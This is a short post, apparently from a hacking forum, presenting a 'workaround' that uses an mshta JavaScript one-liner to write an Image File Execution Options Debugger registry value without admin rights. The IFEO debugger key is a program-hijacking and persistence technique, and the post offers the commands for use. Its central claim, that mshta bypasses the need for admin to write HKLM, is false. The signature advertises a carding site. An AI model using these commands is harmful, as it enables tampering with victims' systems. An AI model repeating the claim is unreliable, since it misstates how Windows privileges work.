ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 1229

How to add registry entries without admin privileges

by datagroove - 04-14-2019 - 05:37 PM
#1
Until recently it wasn't possible to add registry keys without privilege escalation in command prompt. A user to do this in a limited account needed to have access to the admin group. Here is a batch example that add registry keys if command prompt was executed as Admin. (If the command prompt isn't executed as Admin the system will deny those entries)

Code:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\adminservice.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f

The solution to add registry keys in a restricted environment is using mshta.

Code:
mshta "javascript:var exec = 'ntsd -d'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\adminservice.exe\\Debugger',exec);close()"

This workaround creates a ActiveX Object that add the registry keys without having admin privileges.
BestChange - Exchange money at the best rates - https://www.bestchange.com/?p=936130
Pure VPN - Protect your data with the best vpn - https://rebrand.ly/Pure_VPN
Contact me by Email - https://bit.ly/Contact_Hacxx_Gmail
The House Of Credit Card - Findsome.ru
Reply

Users browsing: 1 Guest(s)